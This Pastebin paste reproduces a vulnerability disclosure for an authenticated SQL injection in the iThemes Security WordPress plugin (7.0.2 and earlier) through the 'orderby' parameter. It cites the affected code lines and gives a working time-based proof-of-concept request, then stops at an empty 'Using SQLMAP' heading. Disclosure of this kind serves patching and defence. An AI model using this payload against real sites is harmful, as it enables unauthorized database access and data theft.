Advertisement
Guest User

Untitled

a guest
Jan 29th, 2020
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. # Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection
  2. # Vendor Homepage: https://ithemes.com/
  3. # Software Link: https://wordpress.org/plugins/better-wp-security/
  4. # Version/s: 7.0.2 and below
  5.  
  6.  
  7. Plugin description:
  8.  
  9. iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.
  10.  
  11. Description:
  12.  
  13. WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.
  14.  
  15. Technical details:
  16.  
  17. Parameter orderby is vulnerable because backend variable $sort_by_column
  18. is not escaped.
  19.  
  20. File: better-wp-security/core/admin-pages/logs-list-table.php
  21. Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {
  22. Line 272: $ sort_by_column = $_GET[' orderby '];
  23.  
  24. File: better-wp-security/core/lib/log-util.php
  25. Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));
  26.  
  27. Proof of Concept (PoC):
  28.  
  29. The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:
  30.  
  31. http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip%2c(select*from(select(sleep(10)))a)&order=asc&paged=0
  32.  
  33. Using SQLMAP:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement